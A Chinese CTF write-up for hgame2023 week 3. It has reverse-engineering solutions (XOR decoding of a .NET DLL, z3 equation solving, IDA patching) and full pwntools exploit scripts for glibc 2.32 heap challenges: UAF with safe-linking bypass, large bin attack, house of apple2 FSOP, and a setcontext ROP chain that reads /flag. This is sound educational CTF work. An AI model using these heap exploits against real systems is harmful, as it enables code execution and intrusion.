【wp】hgame2023 week3 Re&&Pwn
Re
cpp那个chacha20加密不会。
kunmusic
用dnspy逆dll,在Program的Main方法中找到了初始化的数据
下断点执行,拷贝出data
写一份脚本进行data与104的异或
def step_one():
with open("./data", encoding="u8") as f:
lines = f.readlines()
data = []
for line in lines:
data.append(int(line.strip(), 16) ^ 104)
data = bytes(data)
with open("./new.dll", "wb") as f:
f.write(data)
一开始不清楚这个data异或后的是啥,用chr转为字符串,发现了dos头,所以写入一个新的new.dll的文件,再用dnspy分析
在新的new.dll中,发现music方法中藏了flag
// WinFormsLibrary1.Class1
// Token: 0x06000012 RID: 18 RVA: 0x0000218C File Offset: 0x0000038C
public void music(object sender, EventArgs e)
{
if (this.num[0] + 52296 + this.num[1] - 26211 + this.num[2] - 11754 + (this.num[3] ^ 41236) + this.num[4] * 63747 + this.num[5] - 52714 + this.num[6] - 10512 + this.num[7] * 12972 + this.num[8] + 45505 + this.num[9] - 21713 + this.num[10] - 59122 + this.num[11] - 12840 + (this.num[12] ^ 21087) == 12702282 && this.num[0] - 25228 + (this.num[1] ^ 20699) + (this.num[2] ^ 8158) + this.num[3] - 65307 + this.num[4] * 30701 + this.num[5] * 47555 + this.num[6] - 2557 + (this.num[7] ^ 49055) + this.num[8] - 7992 + (this.num[9] ^ 57465) + (this.num[10] ^ 57426) + this.num[11] + 13299 + this.num[12] - 50966 == 9946829 && this.num[0] - 64801 + this.num[1] - 60698 + this.num[2] - 40853 + this.num[3] - 54907 + this.num[4] + 29882 + (this.num[5] ^ 13574) + (this.num[6] ^ 21310) + this.num[7] + 47366 + this.num[8] + 41784 + (this.num[9] ^ 53690) + this.num[10] * 58436 + this.num[11] * 15590 + this.num[12] + 58225 == 2372055 && this.num[0] + 61538 + this.num[1] - 17121 + this.num[2] - 58124 + this.num[3] + 8186 + this.num[4] + 21253 + this.num[5] - 38524 + this.num[6] - 48323 + this.num[7] - 20556 + this.num[8] * 56056 + this.num[9] + 18568 + this.num[10] + 12995 + (this.num[11] ^ 39260) + this.num[12] + 25329 == 6732474 && this.num[0] - 42567 + this.num[1] - 17743 + this.num[2] * 47827 + this.num[3] - 10246 + (this.num[4] ^ 16284) + this.num[5] + 39390 + this.num[6] * 11803 + this.num[7] * 60332 + (this.num[8] ^ 18491) + (this.num[9] ^ 4795) + this.num[10] - 25636 + this.num[11] - 16780 + this.num[12] - 62345 == 14020739 && this.num[0] - 10968 + this.num[1] - 31780 + (this.num[2] ^ 31857) + this.num[3] - 61983 + this.num[4] * 31048 + this.num[5] * 20189 + this.num[6] + 12337 + this.num[7] * 25945 + (this.num[8] ^ 7064) + this.num[9] - 25369 + this.num[10] - 54893 + this.num[11] * 59949 + (this.num[12] ^ 12441) == 14434062 && this.num[0] + 16689 + this.num[1] - 10279 + this.num[2] - 32918 + this.num[3] - 57155 + this.num[4] * 26571 + this.num[5] * 15086 + (this.num[6] ^ 22986) + (this.num[7] ^ 23349) + (this.num[8] ^ 16381) + (this.num[9] ^ 23173) + this.num[10] - 40224 + this.num[11] + 31751 + this.num[12] * 8421 == 7433598 && this.num[0] + 28740 + this.num[1] - 64696 + this.num[2] + 60470 + this.num[3] - 14752 + (this.num[4] ^ 1287) + (this.num[5] ^ 35272) + this.num[6] + 49467 + this.num[7] - 33788 + this.num[8] + 20606 + (this.num[9] ^ 44874) + this.num[10] * 19764 + this.num[11] + 48342 + this.num[12] * 56511 == 7989404 && (this.num[0] ^ 28978) + this.num[1] + 23120 + this.num[2] + 22802 + this.num[3] * 31533 + (this.num[4] ^ 39287) + this.num[5] - 48576 + (this.num[6] ^ 28542) + this.num[7] - 43265 + this.num[8] + 22365 + this.num[9] + 61108 + this.num[10] * 2823 + this.num[11] - 30343 + this.num[12] + 14780 == 3504803 && this.num[0] * 22466 + (this.num[1] ^ 55999) + this.num[2] - 53658 + (this.num[3] ^ 47160) + (this.num[4] ^ 12511) + this.num[5] * 59807 + this.num[6] + 46242 + this.num[7] + 3052 + (this.num[8] ^ 25279) + this.num[9] + 30202 + this.num[10] * 22698 + this.num[11] + 33480 + (this.num[12] ^ 16757) == 11003580 && this.num[0] * 57492 + (this.num[1] ^ 13421) + this.num[2] - 13941 + (this.num[3] ^ 48092) + this.num[4] * 38310 + this.num[5] + 9884 + this.num[6] - 45500 + this.num[7] - 19233 + this.num[8] + 58274 + this.num[9] + 36175 + (this.num[10] ^ 18568) + this.num[11] * 49694 + (this.num[12] ^ 9473) == 25546210 && this.num[0] - 23355 + this.num[1] * 50164 + (this.num[2] ^ 34618) + this.num[3] + 52703 + this.num[4] + 36245 + this.num[5] * 46648 + (this.num[6] ^ 4858) + (this.num[7] ^ 41846) + this.num[8] * 27122 + (this.num[9] ^ 42058) + this.num[10] * 15676 + this.num[11] - 31863 + this.num[12] + 62510 == 11333836 && this.num[0] * 30523 + (this.num[1] ^ 7990) + this.num[2] + 39058 + this.num[3] * 57549 + (this.num[4] ^ 53440) + this.num[5] * 4275 + this.num[6] - 48863 + (this.num[7] ^ 55436) + (this.num[8] ^ 2624) + (this.num[9] ^ 13652) + this.num[10] + 62231 + this.num[11] + 19456 + this.num[12] - 13195 == 13863722)
{
int[] array = new int[]
{
132,
47,
180,
7,
216,
45,
68,
6,
39,
246,
124,
2,
243,
137,
58,
172,
53,
200,
99,
91,
83,
13,
171,
80,
108,
235,
179,
58,
176,
28,
216,
36,
11,
80,
39,
162,
97,
58,
236,
130,
123,
176,
24,
212,
56,
89,
72
};
string text = "";
for (int i = 0; i < array.Length; i++)
{
text += ((char)(array[i] ^ this.num[i % this.num.Length])).ToString();
}
new SoundPlayer(Resources.过年鸡).Play();
MessageBox.Show(text);
}
}
然后就是常规的z3求解方程了,跑了一会
from z3 import *
def step_one():
with open("./data", encoding="u8") as f:
lines = f.readlines()
data = []
for line in lines:
data.append(int(line.strip(), 16) ^ 104)
data = bytes(data)
with open("./new", "wb") as f:
f.write(data)
def stop_two():
FLAG_LEN = 13
flag = [BitVec(f"flag{i}", 32) for i in range(FLAG_LEN)]
s = Solver()
s.add(flag[0] + 52296 + flag[1] - 26211 + flag[2] - 11754 + (flag[3] ^ 41236) + flag[4] * 63747 + flag[5] - 52714 + flag[6] - 10512 + flag[7] * 12972 + flag[8] + 45505 + flag[9] - 21713 + flag[10] - 59122 + flag[11] - 12840 + (flag[12] ^ 21087) == 12702282)
s.add(flag[0] - 25228 + (flag[1] ^ 20699) + (flag[2] ^ 8158) + flag[3] - 65307 + flag[4] * 30701 + flag[5] * 47555 + flag[6] - 2557 + (flag[7] ^ 49055) + flag[8] - 7992 + (flag[9] ^ 57465) + (flag[10] ^ 57426) + flag[11] + 13299 + flag[12] - 50966 == 9946829 )
s.add(flag[0] - 64801 + flag[1] - 60698 + flag[2] - 40853 + flag[3] - 54907 + flag[4] + 29882 + (flag[5] ^ 13574) + (flag[6] ^ 21310) + flag[7] + 47366 + flag[8] + 41784 + (flag[9] ^ 53690) + flag[10] * 58436 + flag[11] * 15590 + flag[12] + 58225 == 2372055 )
s.add(flag[0] + 61538 + flag[1] - 17121 + flag[2] - 58124 + flag[3] + 8186 + flag[4] + 21253 + flag[5] - 38524 + flag[6] - 48323 + flag[7] - 20556 + flag[8] * 56056 + flag[9] + 18568 + flag[10] + 12995 + (flag[11] ^ 39260) + flag[12] + 25329 == 6732474 )
s.add(flag[0] - 42567 + flag[1] - 17743 + flag[2] * 47827 + flag[3] - 10246 + (flag[4] ^ 16284) + flag[5] + 39390 + flag[6] * 11803 + flag[7] * 60332 + (flag[8] ^ 18491) + (flag[9] ^ 4795) + flag[10] - 25636 + flag[11] - 16780 + flag[12] - 62345 == 14020739)
s.add(flag[0] - 10968 + flag[1] - 31780 + (flag[2] ^ 31857) + flag[3] - 61983 + flag[4] * 31048 + flag[5] * 20189 + flag[6] + 12337 + flag[7] * 25945 + (flag[8] ^ 7064) + flag[9] - 25369 + flag[10] - 54893 + flag[11] * 59949 + (flag[12] ^ 12441) == 14434062)
s.add(flag[0] + 16689 + flag[1] - 10279 + flag[2] - 32918 + flag[3] - 57155 + flag[4] * 26571 + flag[5] * 15086 + (flag[6] ^ 22986) + (flag[7] ^ 23349) + (flag[8] ^ 16381) + (flag[9] ^ 23173) + flag[10] - 40224 + flag[11] + 31751 + flag[12] * 8421 == 7433598 )
s.add(flag[0] + 28740 + flag[1] - 64696 + flag[2] + 60470 + flag[3] - 14752 + (flag[4] ^ 1287) + (flag[5] ^ 35272) + flag[6] + 49467 + flag[7] - 33788 + flag[8] + 20606 + (flag[9] ^ 44874) + flag[10] * 19764 + flag[11] + 48342 + flag[12] * 56511 == 7989404 )
s.add((flag[0] ^ 28978) + flag[1] + 23120 + flag[2] + 22802 + flag[3] * 31533 + (flag[4] ^ 39287) + flag[5] - 48576 + (flag[6] ^ 28542) + flag[7] - 43265 + flag[8] + 22365 + flag[9] + 61108 + flag[10] * 2823 + flag[11] - 30343 + flag[12] + 14780 == 3504803 )
s.add(flag[0] * 22466 + (flag[1] ^ 55999) + flag[2] - 53658 + (flag[3] ^ 47160) + (flag[4] ^ 12511) + flag[5] * 59807 + flag[6] + 46242 + flag[7] + 3052 + (flag[8] ^ 25279) + flag[9] + 30202 + flag[10] * 22698 + flag[11] + 33480 + (flag[12] ^ 16757) == 11003580 )
s.add(flag[0] * 57492 + (flag[1] ^ 13421) + flag[2] - 13941 + (flag[3] ^ 48092) + flag[4] * 38310 + flag[5] + 9884 + flag[6] - 45500 + flag[7] - 19233 + flag[8] + 58274 + flag[9] + 36175 + (flag[10] ^ 18568) + flag[11] * 49694 + (flag[12] ^ 9473) == 25546210 )
s.add(flag[0] - 23355 + flag[1] * 50164 + (flag[2] ^ 34618) + flag[3] + 52703 + flag[4] + 36245 + flag[5] * 46648 + (flag[6] ^ 4858) + (flag[7] ^ 41846) + flag[8] * 27122 + (flag[9] ^ 42058) + flag[10] * 15676 + flag[11] - 31863 + flag[12] + 62510 == 11333836 )
s.add(flag[0] * 30523 + (flag[1] ^ 7990) + flag[2] + 39058 + flag[3] * 57549 + (flag[4] ^ 53440) + flag[5] * 4275 + flag[6] - 48863 + (flag[7] ^ 55436) + (flag[8] ^ 2624) + (flag[9] ^ 13652) + flag[10] + 62231 + flag[11] + 19456 + flag[12] - 13195 == 13863722)
res = []
if s.check() == sat:
print("find!")
m = s.model()
for i in range(0, FLAG_LEN):
res.append(int(f"{m[flag[i]]}"))
print(res)
else:
print("no way")
return res
res = [236, 72, 3820880085, 2147483754, 189, 86, 819593278, 53, 120, 1801978055, 15, 93, 133]
array = [
132,
47,
180,
7,
216,
45,
68,
6,
39,
246,
124,
2,
243,
137,
58,
172,
53,
200,
99,
91,
83,
13,
171,
80,
108,
235,
179,
58,
176,
28,
216,
36,
11,
80,
39,
162,
97,
58,
236,
130,
123,
176,
24,
212,
56,
89,
72,
]
fin_flag = ""
for i in range(len(array)):
fin_flag += chr((array[i] ^ res[i % len(res)]) & 0xff)
print(fin_flag)
patchme
使用ida打开,发现在main函数之前执行了一份自解密算法
写一份idapython的脚本进行异或操作
import idc
addr = 0x14C6
for i in range(961):
idc.patch_byte(addr+i, idc.get_wide_byte(i+addr) ^ 0x66)
异或完之后,stack爆红,但是没关系,直接看汇编,发现改两个判断条件跳转到flag输出位置就行了
这样就会跳转到loc_1648这个输出flag的函数
之后在用idapython异或一次,保存patch然后运行就得到了flag
Pwn
safe_note
2.32的uaf,fd指针被异或加密了,但是可以在第一次add后直接free,可以得到heap_base
泄露libc的方法有很多,可以申请到tcache管理块,然后用"\x07\x00"填满,之后free管理快就能泄露libc
或者把tacche填满,free一个chunk进入unsorted bin,之后就能泄露main_arena+96的地址
泄露完libc就可以改tcache的fd为free_hook,注意记得给fd进行异或加密。加密方式就是当前堆地址右移12位异或上想要申请到的地址。
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/01/23 20:04:51
# -----------------------------------
from pwntools import *
init("./vuln")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
if pwnio.ip:
libc = ELF("./2.32-0ubuntu3.2_amd64/libc.so.6")
cmd = lambda idx: sla(">", str(idx))
def add(idx, size):
cmd(1)
sla("Index: ", str(idx))
sla("Size: ", str(size))
def free(idx):
cmd(2)
sla("Index: ", str(idx))
def edit(idx, content):
cmd(3)
sla("Index: ", str(idx))
sa("Content: ", content)
def show(idx):
cmd(4)
sla("Index: ", str(idx))
def pack(pos, ptr):
return (pos >> 12) ^ ptr
add(15, 0xFF)
free(15)
show(15)
heap_base = leak(u64(ru("\n").ljust(8, b"\x00")) << 12, "heap_base")
for i in range(7):
add(i, 0x80)
add(7, 0x80)
add(8, 0x10)
for i in range(7):
free(i)
free(7)
edit(7, "a")
show(7)
libc.address = leak(l64() - 0x219C61 + 0x36000, "libc")
free_hook = libc.sym["__free_hook"]
system_addr = libc.sym["system"]
edit(7,b"\x00")
add(10, 0x20)
add(11, 0x20)
free(11)
free(10)
edit(10, p64(pack(heap_base+0x7a0, free_hook)))
add(12, 0x20)
edit(12, b"/bin/sh\x00")
add(13, 0x20)
edit(13, p64(system_addr))
free(12)
# dbg()
ia()
large_note
很经典的large bin attack的例题。
这里我使用的是house of apple2的链子。
larger bin attack修改_IO_list_all的_chain为可控的堆地址,伪造_IO_2_1_stderr
然后就是执行system(" sh;")
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/01/23 22:23:48
# -----------------------------------
from pwntools import *
init("./vuln")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
cmd = lambda idx: sla(">", str(idx))
def add(idx, size=0x500):
cmd(1)
sla("Index: ", str(idx))
sla("Size: ", str(size))
def free(idx):
cmd(2)
sla("Index: ", str(idx))
def edit(idx, content):
cmd(3)
sla("Index: ", str(idx))
sa("Content: ", content)
def show(idx):
cmd(4)
sla("Index: ", str(idx))
def pack(pos, ptr):
return (pos >> 12) ^ ptr
def build_fake_file(addr, vtable, _wide_data):
# flag = 0xFBAD2887
# fake_file = p64(flag) # _flags
# fake_file += p64(addr) # _IO_read_ptr
# 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
fake_file = b""
fake_file += p64(addr) # _IO_read_end
fake_file += p64(addr) # _IO_read_base
fake_file += p64(addr) # _IO_write_base
fake_file += p64(addr + 1) # _IO_write_ptr
fake_file += p64(addr) # _IO_write_end
fake_file += p64(addr) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) # _IO_save_base
fake_file += p64(0) # _IO_backup_base
fake_file += p64(0) # _IO_save_end
fake_file += p64(0) # _markers
fake_file += p64(0) # _chain could be a anathor file struct
fake_file += p32(1) # _fileno
fake_file += p32(0) # _flags2
fake_file += p64(0) # _old_offset
fake_file += p16(0) # _cur_column
fake_file += p8(0) # _vtable_offset
fake_file += p8(0x10) # _shortbuf
fake_file += p32(0)
fake_file += p64(0) # _lock
fake_file += p64(0) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(_wide_data) # _wide_data
fake_file += p64(0) # _freeres_list
fake_file += p64(0) # _freeres_buf
fake_file += p64(0) # __pad5
fake_file += p32(0) # _mode
fake_file += p32(0) # unused2
fake_file += p64(0) * 2 # unused2
fake_file += p64(vtable) # vtable
return fake_file
"""
#! large bin leak heap address
#! large bin attack --> fake io --> house of apple2
#! exec system(" sh;")
"""
add(0, 0x508) # fake_wide_data
add(1, 0x550) # fake_chain
add(2)
add(3, 0x540)
add(4)
#! leak libc base
free(1)
edit(1, "a")
show(1)
fd_bk = leak(l64() - 0x61, "fd_bk")
libc.address = leak(fd_bk - 0x1E3C00, "libc")
edit(1, b"\x00")
#! to large bin
add(5, 0x600) # fake_jump
#! large leak fd_next to get heap base
edit(1, b"a" * 15 + b"b")
show(1)
ru("b")
heap_base = leak(uu64(r(6)) - 0x7A0, "heap_base")
edit(1, p64(fd_bk) * 2)
#! free large_chunk2 into unsortedbin
free(3)
#! modify largebin[0]->bk_nextsize -> tagert_addr-0x20
_IO_list_all_chain = libc.address + 0x1E4648
info(_IO_list_all_chain, "_IO_list_all_chain")
edit(1, p64(fd_bk) * 2 + p64(heap_base + 0x7A0) + p64(_IO_list_all_chain - 0x20))
info(heap_base + 0x7A0, "fake_IO")
#! large bin attack : chain -> heap_base + 0x7a0
add(6)
#! edit _flags -> " sh;"
edit(0, b"\x00" * 0x500 + b" sh;")
#! bulid fake_wide_data
fake_wide_data = heap_base + 0x2A0
info(fake_wide_data, "fake_wide_data")
#! edit vtable -> _IO_wfile_jumps
#! edit fp -> _wide_data = fake_wide_data
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
edit(1, build_fake_file(0, _IO_wfile_jumps, fake_wide_data))
#! edit fake_wide_data -> _IO_write_base = 0
#! edit fake_wide_data -> _IO_buf_base = 0
#! edit fake_wide_data -> _wide_vtable = fake_jump
#! edit fake_jump -> doallocate = system
fake_jump = heap_base + 0x1C70
_wide_data = {0x18: 0, 0x30: 0, 0xE0: fake_jump}
edit(0, flat(_wide_data))
edit(5, p64(libc.sym["system"]) * 12)
cmd(5)
ia()
后面思考了一下发现其实可以使用更简单的打_free_hook的做法
- large bin attack修改mp_.tcache_bins成一个大数
- tcache的基本做法,修改fd为_free_hook^heap_addr
- 该_free_hook为system
- free(“/bin/sh\x00”)
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp_mp_tcache_bins.py
# @Author : woodwhale
# @Time : 2023/01/25 11:01:08
# -----------------------------------
from pwntools import *
init("./vuln")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
cmd = lambda idx: sla(">", str(idx))
def add(idx, size=0x500):
cmd(1)
sla("Index: ", str(idx))
sla("Size: ", str(size))
def free(idx):
cmd(2)
sla("Index: ", str(idx))
def edit(idx, content):
cmd(3)
sla("Index: ", str(idx))
sa("Content: ", content)
def show(idx):
cmd(4)
sla("Index: ", str(idx))
def pack(pos, ptr):
return (pos >> 12) ^ ptr
#! show libc
add(0)
add(1)
free(0)
edit(0, "a")
show(0)
libc.address = leak(l64() - (0x00007FCA26CFDC61 - 0x7FCA26B1A000), "libc.address")
edit(0, "\x00")
#! get mp_ and tcache_bins address
mp_ = leak(libc.address + (0x7FD42D14C280 - 0x7FD42CF69000), "mp_")
tcache_bins = mp_ + 80
#! large bin attact tcache_bins
add(2, 0x610)
add(3, 0x510)
add(4, 0x600)
add(5, 0x510)
free(2)
#* push 2 from unsorted bin to large bin
add(6, 0x700)
#* free 4 to unsorted bin
free(4)
#* edit 2 bk_nextsize to target address
edit(2, b"a" * 15 + b"b")
show(2)
ru("b")
heap_base = leak(uu64(r(6))-0xcb0, "heap_base")
edit(2, p64(libc.address + 0x1E4070) * 2 + p64(heap_base+0xcb0) + p64(tcache_bins - 0x20))
#* 触发 large bin attack
add(7)
#* tcache
free(5)
free(3)
chunk_3_addr = heap_base + 0x12d0
edit(3, p64(pack(chunk_3_addr, libc.sym["__free_hook"])))
add(8, 0x510)
add(9, 0x510)
edit(9, p64(libc.sym["system"]))
edit(8, "/bin/sh\x00")
free(8)
ia()
note_context
和上一题一样,就是加了个沙箱,ban了execve
使用setcontext+61的链子进行orw,栈迁移到可控的堆地址上就可以了
同样使用house of apple2,当然也可以使用修改tcache_bins的做法
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/01/24 11:17:12
# -----------------------------------
from pwntools import *
init("./vuln")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
cmd = lambda idx: sla(">", str(idx))
def add(idx, size=0x500):
cmd(1)
sla("Index: ", str(idx))
sla("Size: ", str(size))
def free(idx):
cmd(2)
sla("Index: ", str(idx))
def edit(idx, content):
cmd(3)
sla("Index: ", str(idx))
sa("Content: ", content)
def show(idx):
cmd(4)
sla("Index: ", str(idx))
def pack(pos, ptr):
return (pos >> 12) ^ ptr
def build_fake_file(addr, vtable, _wide_data):
# flag = 0xFBAD2887
# fake_file = p64(flag) # _flags
# fake_file += p64(addr) # _IO_read_ptr
# 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
fake_file = b""
fake_file += p64(addr) # _IO_read_end
fake_file += p64(addr) # _IO_read_base
fake_file += p64(addr) # _IO_write_base
fake_file += p64(addr + 1) # _IO_write_ptr
fake_file += p64(addr) # _IO_write_end
fake_file += p64(addr) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) # _IO_save_base
fake_file += p64(0) # _IO_backup_base
fake_file += p64(0) # _IO_save_end
fake_file += p64(0) # _markers
fake_file += p64(0) # _chain could be a anathor file struct
fake_file += p32(1) # _fileno
fake_file += p32(0) # _flags2
fake_file += p64(0) # _old_offset
fake_file += p16(0) # _cur_column
fake_file += p8(0) # _vtable_offset
fake_file += p8(0x10) # _shortbuf
fake_file += p32(0)
fake_file += p64(0) # _lock
fake_file += p64(0) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(_wide_data) # _wide_data
fake_file += p64(0) # _freeres_list
fake_file += p64(0) # _freeres_buf
fake_file += p64(0) # __pad5
fake_file += p32(0) # _mode
fake_file += p32(0) # unused2
fake_file += p64(0) * 2 # unused2
fake_file += p64(vtable) # vtable
return fake_file
"""
#! large bin leak heap address
#! large bin attack --> fake io --> house of apple2
#! exec setcontext+61
"""
add(0, 0x508) # fake_wide_data
add(1, 0x550) # fake_chain
add(2)
add(3, 0x540)
add(4)
#! leak libc base
free(1)
edit(1, "a")
show(1)
fd_bk = leak(l64() - 0x61, "fd_bk")
libc.address = leak(fd_bk - 0x1E3C00, "libc")
edit(1, b"\x00")
#! to large bin
add(5, 0x600) # fake_jump
#! large leak fd_next to get heap base
edit(1, b"a" * 15 + b"b")
show(1)
ru("b")
heap_base = leak(uu64(r(6)) - 0x7A0, "heap_base")
edit(1, p64(fd_bk) * 2)
#! free large_chunk2 into unsortedbin
free(3)
#! modify largebin[0]->bk_nextsize -> tagert_addr-0x20
_IO_list_all_chain = libc.address + 0x1E4648
info(_IO_list_all_chain, "_IO_list_all_chain")
edit(1, p64(fd_bk) * 2 + p64(heap_base + 0x7A0) + p64(_IO_list_all_chain - 0x20))
info(heap_base + 0x7A0, "fake_IO")
#! large bin attack : chain -> heap_base + 0x7a0
add(6)
#! edit _flags -> " sh;"
edit(0, b"\x00" * 0x500 + b" sh;")
#! bulid fake_wide_data
fake_wide_data = heap_base + 0x2A0
info(fake_wide_data, "fake_wide_data")
#! edit vtable -> _IO_wfile_jumps
#! edit fp -> _wide_data = fake_wide_data
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
edit(1, build_fake_file(0, _IO_wfile_jumps, fake_wide_data))
#! edit fake_wide_data -> _IO_write_base = 0
#! edit fake_wide_data -> _IO_buf_base = 0
#! edit fake_wide_data -> _wide_vtable = fake_jump
#! edit fake_jump -> doallocate = system
ret_addr = libc.address + 0x0000000000026699
pop_rdi = libc.address + 0x000000000002858F
pop_rsi = libc.address + 0x000000000002AC3F
pop_rdx_rbx = libc.address + 0x00000000001597D6
flag_addr = heap_base + 0x2A0
open_addr = libc.sym["open"]
read_addr = libc.sym["read"]
puts_addr = libc.sym["puts"]
fake_jump = heap_base + 0x1C70
_wide_data = {
0: b"/flag\x00",
0x18: 0,
0x30: 0,
0xA0: fake_jump + 8 * 14, # orw addr
0xA8: ret_addr, # ret addr
0xE0: fake_jump,
}
edit(0, flat(_wide_data))
setcontext_61 = libc.sym["setcontext"] + 61
edit(
5,
p64(setcontext_61) * 12
+ flat( # orw
pop_rdi,
flag_addr,
pop_rsi,
0,
open_addr,
pop_rdi,
3,
pop_rsi,
flag_addr,
pop_rdx_rbx,
0x100,
0,
read_addr,
pop_rdi,
flag_addr,
puts_addr,
),
)
cmd(5) # exit
"""
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
setcontext+61
orw
"""
ia()